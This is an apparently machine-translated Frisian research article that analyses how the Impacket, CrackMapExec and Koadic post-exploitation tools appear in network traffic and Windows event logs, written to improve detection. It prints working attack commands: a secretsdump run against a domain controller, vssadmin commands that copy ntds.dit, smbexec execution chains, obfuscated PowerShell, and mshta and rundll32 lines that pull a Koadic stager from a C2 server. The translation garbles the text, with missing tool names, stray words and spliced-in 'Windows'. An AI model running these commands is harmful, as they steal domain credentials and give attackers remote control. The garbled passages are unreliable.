It tal oanfallen yn it bedriuwslibben groeit alle jierren: bygelyks dan yn 2016, en oan 'e ein fan 2018 - , as yn 'e foargeande perioade. Ynklusyf dyjingen dêr't it bestjoeringssysteem it wichtichste wurkark is WindowsYn 2017-2018, de APT Dragonfly, APT28, oanfallen op regearing en militêre organisaasjes yn Jeropa, Noard-Amearika en Saûdy-Araabje. En wy brûkten trije ark foar dit - , и . Harren boarnekoade is iepen en beskikber op GitHub.
It is de muoite wurdich op te merken dat dizze ark net brûkt wurde foar inisjele penetraasje, mar om in oanfal binnen de ynfrastruktuer te ûntwikkeljen. Oanfallers brûke se yn ferskate stadia fan 'e oanfal nei de penetraasje fan' e perimeter. Dit, trouwens, is lestich te ûntdekken en faak allinich mei help fan technology of ark dat tastean . De ark leverje in ferskaat oan funksjes, fan it oerdragen fan bestannen oant ynteraksje mei it register en it útfieren fan kommando's op in masine op ôfstân. Wy hawwe in stúdzje útfierd fan dizze ark om har netwurkaktiviteit te bepalen.
Wat wy moasten dwaan:
- Begryp hoe't hacking-ark wurket. Fyn út wat oanfallers moatte eksploitearje en hokker technologyen se kinne brûke.
- Fyn wat net wurdt ûntdutsen troch ark foar ynformaasjefeiligens yn 'e earste stadia fan in oanfal. De ferkenningsfaze kin oerslein wurde, itsij om't de oanfaller in ynterne oanfaller is, of omdat de oanfaller in gat yn 'e ynfrastruktuer eksploitearret dat net earder bekend wie. It wurdt mooglik om de hiele keatling fan syn aksjes te herstellen, dus de winsk om fierdere beweging te ûntdekken.
- Eliminearje falske positiven fan ark foar ynbraakdeteksje. Wy moatte net ferjitte dat as bepaalde aksjes wurde ûntdutsen op basis fan ferkenning allinich, faak flaters mooglik binne. Gewoanlik binne d'r yn 'e ynfrastruktuer in genôch oantal manieren, net te ûnderskieden fan legitime op it earste each, om ynformaasje te krijen.
Wat jouwe dizze ark oanfallers? As dit Impacket is, krije oanfallers in grutte bibleteek fan modules dy't kinne wurde brûkt yn ferskate stadia fan 'e oanfal dy't folgje nei it brekken fan de perimeter. In protte ark brûke Impacket-modules yntern - bygelyks Metasploit. It hat dcomexec en wmiexec foar útfiering fan kommando op ôfstân, secretsdump foar it krijen fan akkounts út it ûnthâld dy't wurde tafoege fan Impacket. As resultaat sil de juste deteksje fan 'e aktiviteit fan sa'n bibleteek de deteksje fan derivaten soargje.
It is gjin tafal dat de makkers "Powered by Impacket" skreaun hawwe oer CrackMapExec (of gewoan CME). Derneist hat CME klearebare funksjonaliteit foar populêre senario's: Mimikatz foar it krijen fan wachtwurden of har hashes, ymplemintaasje fan Meterpreter of Empire-agent foar útfiering op ôfstân, en Bloodhound oan board.
De tredde ark dy't wy keazen hawwe is Koadic. It is frij nij, presintearre op 'e ynternasjonale hackerkonferinsje DEFCON 25 yn 2017, en hat in ûnkonvinsjonele oanpak: it wurket fia HTTP, JavaScript en Microsoft Visual Basic Script (VBS). Dizze oanpak wurdt 'living off the land' neamd: de ark brûkt in set ôfhinklikheden en bibleteken dy't ynboud binne yn ... WindowsDe makkers neame it COM Command & Control, of C3.
IMPACKET
De funksjonaliteit fan Impacket is frij breed, fariearjend fan ferkenning binnen AD en gegevensferzameling fan ynterne MS SQL-tsjinners oant techniken foar it krijen fan ynloggegevens, ynklusyf in SMB-relayoanfal en it opheljen fan it ntds.dit-bestân mei brûkerswachtwurdhashes fan in domeincontroller. Impacket fiert ek kommando's op ôfstân út mei fjouwer ferskillende metoaden: WMI, in schedulerbeheartsjinst, en mear. Windows, DCOM en SMB, en it hat ynloggegevens nedich om dit te dwaan.
Secretsdump
Litte wy ris sjen nei geheime dump. Dit is in module dy't sawol brûkersmasines as domeincontrollers kin rjochtsje. It kin brûkt wurde om te krijen kopyen fan ûnthâld gebieten LSA, SAM, SECURITY, NTDS.dit, sadat it kin sjoen wurde op ferskillende stadia fan de oanfal. De earste stap yn 'e operaasje fan' e module is autentikaasje fia SMB, dy't it wachtwurd fan 'e brûker of syn hash fereasket om automatysk de Pass the Hash-oanfal út te fieren. Dêrnei komt in fersyk om tagong te iepenjen foar Service Control Manager (SCM) en tagong te krijen ta it register fia it winreg-protokol, wêrby't in oanfaller de gegevens fan tûken fan belang kin fine en resultaten krije fia SMB.
Yn Fig. 1 sjogge wy hoe krekt by it brûken fan it winreg-protokol tagong wurdt krigen mei in registerkaai mei in LSA. Om dit te dwaan, brûk it kommando DCERPC mei opcode 15 - OpenKey.

Rys. 1. It iepenjen fan in registerkaai mei it winreg-protokol
Folgjende, as tagong ta de kaai wurdt krigen, wurde de wearden bewarre mei it kommando SaveKey mei opcode 20. Impacket docht dit op in heul spesifike manier. It bewarret de wearden yn in bestân wêrfan de namme in tekenrige is fan 8 willekeurige karakters taheakke mei .tmp. Dêrnjonken bart fierdere upload fan dit bestân fia SMB út de System32-map (fig. 2).

Rys. 2. Skema foar it krijen fan in registerkaai fan in masine op ôfstân
It docht bliken dat sa'n aktiviteit op it netwurk kin wurde ûntdutsen troch fragen nei bepaalde registertûken mei it winreg-protokol, spesifike nammen, kommando's en har folchoarder.
Dizze module lit ek spoaren efter yn it barrenlogboek. Windows, wêrtroch it maklik te ûntdekken is. Bygelyks, as gefolch fan it útfieren fan it kommando
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCYn it tydskrift Windows Server 2016 sil de folgjende wichtige folchoarder fan eveneminten sjen:
1. 4624 - remote Logon.
2. 5145 - kontrôle tagongsrjochten oan de winreg remote tsjinst.
3. 5145 - kontrolearje triem tagongsrjochten yn de System32 triemtafel. De triem hat de hjirboppe neamde willekeurige namme.
4. 4688 - it meitsjen fan in cmd.exe-proses dat vssadmin start:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 - it meitsjen fan in proses mei it kommando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 - it meitsjen fan in proses mei it kommando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 - it meitsjen fan in proses mei it kommando:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Lykas in protte ark foar post-eksploitaasje, hat Impacket modules foar it útfieren fan kommando's op ôfstân. Wy sille rjochtsje op smbexec, dy't in ynteraktive kommando-shell leveret op in masine op ôfstân. Dizze module fereasket ek autentikaasje fia SMB, itsij mei in wachtwurd as in wachtwurdhash. Yn Fig. Yn figuer 3 sjogge wy in foarbyld fan hoe't sa'n ark wurket, yn dit gefal is it de lokale behearderkonsole.

Rys. 3. Ynteraktive smbexec konsole
De earste stap fan smbexec nei autentikaasje is om de SCM te iepenjen mei it kommando OpenSCManagerW (15). De fraach is opmerklik: it fjild MachineName is DUMMY.

Rys. 4. Fersyk om te iepenjen Service Control Manager
Dêrnei wurdt de tsjinst makke mei it kommando CreateServiceW (12). Yn it gefal fan smbexec kinne wy elke kear deselde kommando-konstruksjelogika sjen. Yn Fig. 5 grien jout oan net te feroarjen kommando parameters, giel jout oan wat in oanfaller kin feroarje. It is maklik om te sjen dat de namme fan it útfierbere bestân, syn map en it útfiertriem kinne wurde feroare, mar de rest is folle dreger om te feroarjen sûnder de logika fan 'e Impacket-module te fersteuren.

Rys. 5. Fersyk om in tsjinst te meitsjen mei Service Control Manager
Smbexec lit ek dúdlike spoaren efter yn it barrenlogboek. WindowsYn it tydskrift Windows Server 2016 foar in ynteraktive kommando-shell mei it ipconfig-kommando sjogge wy de folgjende wichtige folchoarder fan barrens:
1. 4697 - ynstallaasje fan 'e tsjinst op' e masine fan it slachtoffer:
%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 - oanmeitsjen fan it cmd.exe-proses mei de arguminten fan punt 1.
3. 5145 - kontrôle tagongsrjochten foar de __útfier triem yn de C $ triemtafel.
4. 4697 - ynstallaasje fan de tsjinst op it slachtoffer syn masine.
%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 - oanmeitsjen fan it cmd.exe-proses mei de arguminten fan punt 4.
6. 5145 - kontrôle tagongsrjochten foar de __útfier triem yn de C $ triemtafel.
Impacket is in ramt foar it ûntwikkeljen fan oanfalsark. It stipet hast alle protokollen yn Windows-ynfrastruktuer en hat dochs syn eigen ûnderskiedende funksjes. Dizze omfetsje spesifike winreg-fragen, it gebrûk fan 'e SCM API mei in eigen kommandostruktuer, it bestânsnammeformaat en SMB-dieling SYSTEM32.
CRACKMAPEXEC
It CME-ark is primêr ûntworpen om dy routine aksjes te automatisearjen dy't in oanfaller moat útfiere om foarút te gean binnen it netwurk. It lit jo wurkje yn gearhing mei de bekende Empire-agent en Meterpreter. Om kommando's ferburgen út te fieren, kin CME se obfuscate. Mei Bloodhound (in apart ferkenningsark) kin in oanfaller it sykjen nei in aktive domeinbehearder sesje automatisearje.
bloodhound
Bloodhound, as in standalone ark, soarget foar avansearre ferkenning binnen it netwurk. It sammelet gegevens oer brûkers, masines, groepen, sesjes en wurdt levere as in PowerShell-skript of binêre triem. LDAP- as SMB-basearre protokollen wurde brûkt om ynformaasje te sammeljen. De CME-yntegraasjemodule lit Bloodhound downloade nei de masine fan it slachtoffer, útfiere en ûntfange de sammele gegevens nei útfiering, sadat aksjes yn it systeem automatisearje en se minder merkber meitsje. De grafyske shell fan Bloodhound presintearret de sammele gegevens yn 'e foarm fan grafiken, wêrtroch jo it koartste paad kinne fine fan' e masine fan 'e oanfaller nei de domeinbehearder.

Rys. 6. Bloodhound Interface
Om op 'e masine fan it slachtoffer te rinnen, makket de module in taak mei ATSVC en SMB. ATSVC is in ynterface foar it wurkjen mei de taakplanner. WindowsCME brûkt syn NetrJobAdd (1) funksje om taken oer it netwurk oan te meitsjen. In foarbyld fan wat de CME-module ferstjoert wurdt werjûn yn figuer 7: it is in cmd.exe kommando-oprop en fertsjustere koade yn 'e foarm fan XML-arguminten.

Fig.7. It meitsjen fan in taak fia CME
Neidat de taak is yntsjinne foar útfiering, begjint de masine fan it slachtoffer Bloodhound sels, en dit kin sjoen wurde yn it ferkear. De module wurdt karakterisearre troch LDAP-fragen om standertgroepen te krijen, in list fan alle masines en brûkers yn it domein, en ynformaasje te krijen oer aktive brûkerssesjes fia it SRVSVC NetSessEnum-fersyk.

Rys. 8. It heljen fan in list mei aktive sesjes fia SMB
Derneist wurdt it lansearjen fan Bloodhound op 'e masine fan in slachtoffer mei auditing ynskeakele begelaat troch in evenemint mei ID 4688 (proses oanmeitsjen) en de prosesnamme «C:WindowsSystem32cmd.exe». Wat der opmerklik is, binne de arguminten foar kommandorigel:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
De module enum_avproducts is aardich nijsgjirrich yn termen fan funksjonaliteit en ymplemintaasje. WMI lit jo gegevens ophelje fan ferskate objekten mei de WQL-fraachtaal. Windows, dat is yn essinsje wat dizze CME-module brûkt. It genereart fragen oan 'e AntiSpywareProduct- en AntiMirusProduct-klassen oer de befeiligingstools dy't ynstalleare binne op 'e masine fan it slachtoffer. Om de fereaske gegevens te krijen, ferbynt de module mei de nammeromte rootSecurityCenter2, genereart dan in WQL-fraach en ûntfangt in antwurd. Figuer 9 lit de ynhâld fan sokke fragen en antwurden sjen. Yn ús foarbyld, Windows Ferdigener.

Rys. 9. Netwurk aktiviteit fan de module enum_avproducts
Faak kin WMI-auditing (Trace WMI-Activity), yn waans eveneminten jo nuttige ynformaasje kinne fine oer WQL-fragen, útskeakele wurde. Mar as it ynskeakele is, dan as it enum_avproducts skript wurdt útfierd, sil in evenemint bewarre wurde mei ID 11. It sil de namme fan de brûker befetsje dy't it fersyk stjoerde en de namme yn 'e rootSecurityCenter2 nammeromte.
Elk fan 'e CME-modules hie syn eigen artefakten, of it no spesifike WQL-fragen is as it meitsjen fan in bepaald type taak yn in taakplanner mei obfuscaasje en Bloodhound-spesifike aktiviteit yn LDAP en SMB.
KOADIC
In ûnderskiedend skaaimerk fan Koadic is it gebrûk fan ynboude Windows JavaScript- en VBScript-ynterpretators. Yn dizze sin folget it de trend fan it libjen fan it lân - dat wol sizze, it hat gjin eksterne ôfhinklikheden en brûkt standert ark. WindowsDit is in folweardige Command & Control (CnC) ark, om't nei ynfeksje in "ymplantaat" op 'e masine ynstalleare wurdt, wêrtroch't it kontrolearre wurde kin. Sa'n masine wurdt, yn 'e terminology fan Koadic, in "zombie" neamd. As it slachtoffer net genôch privileezjes hat foar folsleine operaasje, kin Koadic se ferheegje mei UAC-bypasstechniken.

Rys. 10. Koadic Shell
It slachtoffer moat kommunikaasje begjinne mei de Command & Control-tsjinner. Om dit te dwaan, moat se kontakt opnimme mei in earder taret URI en ûntfange it haad Koadic-lichem mei ien fan 'e stagers. Yn Fig. Ofbylding 11 lit in foarbyld sjen foar de mshta stager.

Rys. 11. In sesje inisjalisearje mei de CnC-tsjinner
Op grûn fan de antwurd fariabele WS wurdt dúdlik dat de útfiering bart troch WScript.Shell, en de fariabelen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE befetsje wichtige ynformaasje oer de parameters fan de hjoeddeiske sesje. Dit is it earste fersyk-antwurd-pear yn in HTTP-ferbining mei in CnC-tsjinner. Oanfoljende oanfragen binne direkt relatearre oan de funksjonaliteit fan 'e neamde modules (ymplantaten). Alle Koadic-modules wurkje allinich mei in aktive sesje mei CnC.
Mimikatz
Krekt as CME wurket mei Bloodhound, wurket Koadic mei Mimikatz as in apart programma en hat meardere manieren om it te starten. Hjirûnder is in fersyk-antwurd-pear foar it downloaden fan it Mimikatz-ymplantaat.

Rys. 12. Oermeitsje Mimikatz nei Koadic
Jo kinne sjen hoe't it URI-formaat yn it fersyk is feroare. It befettet no in wearde foar de csrf-fariabele, dy't ferantwurdlik is foar de selektearre module. Jou net op har namme; Wy witte allegear dat CSRF normaal oars wurdt begrepen. It antwurd wie itselde haadlichem fan Koadic, dêr't koade yn ferbân mei Mimikatz waard tafoege. It is frij grut, dus litte wy nei de wichtichste punten sjen. Hjir hawwe wy de Mimikatz-bibleteek kodearre yn base64, in serialisearre .NET-klasse dy't it sil ynjeksje, en arguminten om Mimikatz te starten. It útfierresultaat wurdt oer it netwurk yn dúdlike tekst oerbrocht.

Rys. 13. Resultaat fan in run Mimikatz op in ôfstân masine
Exec_cmd
Koadic hat ek modules dy't kommando's op ôfstân kinne útfiere. Hjir sille wy deselde URI-generaasjemetoade sjen en de bekende sid- en csrf-fariabelen. Yn it gefal fan de exec_cmd-module wurdt koade tafoege oan it lichem dat by steat is om shell-kommando's út te fieren. Hjirûnder wurdt sa'n koade werjûn yn 'e HTTP-antwurd fan' e CnC-tsjinner.

Rys. 14. Implant koade exec_cmd
De GAWTUUGCFI-fariabele mei it bekende WS-attribút is nedich foar koade-útfiering. Mei har help neamt it ymplant de shell, ferwurket twa tûken fan koade - shell.exec mei it weromkommen fan 'e útfiergegevensstream en shell.run sûnder werom te kommen.
Koadic is gjin typysk ark, mar it hat syn eigen artefakten wêrmei't it kin wurde fûn yn legitime ferkear:
- spesjale formaasje fan HTTP-oanfragen,
- mei help fan winHttpRequests API,
- it meitsjen fan in WScript.Shell-objekt fia ActiveXObject,
- grut útfierber lichem.
De earste ferbining wurdt inisjearre troch de stager, sadat it mooglik wurdt om syn aktiviteit te detektearjen fia eveneminten. WindowsFoar mshta is dit barren 4688, dat oanjout dat in proses oanmakke is mei it opstartattribuut:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Wylst Koadic rint, kinne jo oare 4688-eveneminten sjen mei attributen dy't it perfekt karakterisearje:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1befinings
De trend om fan it lân te libjen wurdt hieltyd populêrder ûnder kriminelen. Se brûke ynboude Windows ark en meganismen foar har eigen behoeften. Wy sjogge populêre ark lykas Koadic, CrackMapExec, en Impacket, dy't dit prinsipe folgje, hieltyd faker ferskine yn APT-rapporten. It oantal forks fan dizze ark op GitHub groeit ek, en nije ferskine (d'r binne op it stuit sawat tûzen fan). Dizze trend wint oan populariteit fanwegen syn ienfâld: oanfallers hawwe gjin ark fan tredden nedich; se binne al oanwêzich op 'e masines fan slachtoffers en helpe har feiligensmaatregels te omgean. Wy rjochtsje ús op it bestudearjen fan netwurkynteraksjes: elk hjirboppe beskreaun ark lit syn eigen spoaren efter yn it netwurkferkear; troch se yn detail te bestudearjen koene wy ús produkt trainen. detect se, dy't úteinlik helpt te ûndersykjen de hiele keten fan cyber ynsidinten wêrby't harren.
skriuwers:
- Anton Tyurin, Head of Expert Services Department, PT Expert Security Center, Positive Technologies
- Egor Podmokov, ekspert, PT Expert Security Center, Positive Technologies
Boarne: www.habr.com
